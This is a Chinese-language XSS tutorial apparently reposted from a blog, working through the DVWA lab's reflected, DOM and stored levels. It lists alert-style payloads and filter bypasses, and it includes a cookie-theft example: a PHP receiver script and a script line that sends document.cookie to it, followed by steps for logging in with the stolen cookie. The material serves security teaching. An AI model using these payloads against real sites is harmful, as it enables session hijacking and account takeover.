当前位置:   article > 正文

TOP16-XSS -- 小黑超细详解-+案例说明(盗取cookie登录)<宝藏文>_xss盗取cookie

xss盗取cookie

   概念:

            通常指通过HTML注入篡改了网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

           当入侵网站后,通过自己编定的脚本或者木马嵌入到网站页面,利用网站的流量将自己的网页木马传播出去从而达到自己的目的,当用户浏览网站的时候点击了编订的恶意程序脚本,从而达到获取用户信息,进行一系列未授权的操作。

 

通俗理解:

          此漏洞主要以盗取用户信息, 获取用户的权限做一些越权操作,还可以结合其它漏洞进行一系列的攻击行为。

目录

xss三种方式

跨站脚本事件

有效载荷标签

DVWA案例: 

Reflected(反射low级别):

 利用xss获取cookie

利用cookie免密登录

miedium级别:

 HIGH级别:

 DOM型(low级别)

 medium级别:

 high级别:

 store(low):

         medium级别:

         high级别:


xss三种方式

 一、反射型xss(一次性链接):把用户输入的数据从服务器反射给用户浏览器,设计恶意的链接发送给用户,当用户点击的时候,用户会从恶意的链接访问了正常服务器,正常服务器将xss脚本和正常页面返回到用户浏览器,但浏览器会解析返回网页中的xss恶意代码,向恶意的服务器发起请求,从而达到获取用户的信息。    

 二、存储型xss(持久型):发现网站有存储型xss,将恶意的脚本构建后注入到目标服务器中,用户在网站登录状态访问了正常的目标服务器,网站就会将xss和正常的页面返回到用户浏览器,用户的浏览器解析了网页中的xss恶意代码,向恶意服务器发起请求,从而获取用户信息。  差别(是否和服务器有交互)      

三、dom型xss   通过修改前端代码的节点形成xss。

跨站脚本事件

  1. onclick 点击事件
  2. ondblclick 双击事件
  3. onmouseover 鼠标移入事件
  4. onmouseout 鼠标移出事件
  5. onmouseenter 鼠标移入某个元素触发
  6. onmouseleave 鼠标离开某个元素触发
  7. onmousdown 鼠标按下时触发
  8. onmouseup 鼠标抬起时触发
  9. onmousemove 鼠标被移动时触发
  10. onwheel 鼠标滚轮滚动时触发
  11. oncontextmenu 点击鼠标右键时触发
  12. alert提示框、confirm确认取消框、prompt输入框

有效载荷标签

  1. <script>alert(‘11’)</script>
  2. <svg onload=”alert(11)”>
  3. <img src=# onerror=alert(“11”)>
  4. <body onload=alert(11)>
  5. <video onloadstart=alert(11) src=#>
  6. <style onload=alert(11)></style>

DVWA案例: 

Reflected(反射low级别):

反射型xss,数据流向:前端 --> 后端--> 前端        

第一关没有任何过滤,直接在input框里面输入java script的脚本即可<script>alert(document.cookie)</script>弹出cookie

 利用xss获取cookie

试例:    

        编写一个接收cookie的脚本,将脚本放在自己服务器的web目录下,如            http://127.0.0.1/xss/cookie.php

  1. <?php
  2. $cookie=$_GET[‘cookie’];
  3. file_put_contets(‘cookie.txt’,$cookie);
  4. ?>

编写js代码,将cookie发送到cookie.php中解析生成本地文件 <script>document.location='http://127.0.0.1/xss/cookie.php?cookie='+document.cookie</script>,跳转页面了证明已经执行了cookie.php,并生成了cookie.txt

利用cookie免密登录

修改cookie值登录,需要更换浏览器,或者对浏览器的历史记录做清除,cookie值只能使用一次。

 

浏览器cookie修改说明,火狐在储存里面,edge在应用程序里面,谷歌是Application。

插件cookie Editor

 

有一些浏览器还需要token验证,需要获取cookie也要获取token。frames[0].document.getElementsByName('user_token')[0].value【csrf中有提到】

 

miedium级别:

这里是对输入的字符做了限制,可以利用大小写或者双写绕过。 大小写绕过  <Script>alert(11)</Script> 双写绕过    <scr<script>ipt>alert(11)</script>script>

 HIGH级别:

 对script标签字符有过滤,但是没有对javascript事件进行过滤,任然会执行javascript,构造payload   <img src=# οnerrοr=alert(“111”)>

 DOM型(low级别)

 dom型数据流向:前端-->浏览器,low级别没有任何防护,参数可以直接构造xss代码。  <script>alert(“11”)</script> 它会直接插入value值中。

 medium级别:

        这里和反射型一样,将script标签过滤掉了,我们通过闭合</select><img src=# οnerrοr=alert(“11”)>加载img标签,触发xss。

 high级别:

         这里插入任何标签都会自动过滤掉,利用#注释符号注入,然后重新注入一段<script>标签,内容不会提交到服务器,而是会在浏览器执行。

注:写入pload后刷新浏览器。

 store(low):

             储存型xss,数据流向:前端-->后端-->数据库-->后端-->前端,low级别没有任何防护,对指定的参数进行payload构造即可。massage=<script>alert(‘022’)</script>     因为储存型会将数据储存在数据库中,所以访问一次页面会触发一次payload,因此需要重置dvwa的数据库  setup.php。

 medium级别:

          第二个输入框的内容被实体转义了,从第一个输入框下手,第一个输入框有限制字符长度,两种方案,一是改变前端的输入框大小,第二个是通过Burpsuite抓包。通过测试,script标签被过滤掉了,利用大小写、双写、或img标签绕过即可。 <img src=# οnerrοr=alert(“11”)>

 high级别:

           name字段直接把<srcipt>全部过滤掉了,那可以通过抓包,修改name字段为<img src# οnerrοr=alert(‘8867’)>(火狐会出现没有反应的现象,浏览器安全策略问题,换一个浏览器即可)

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号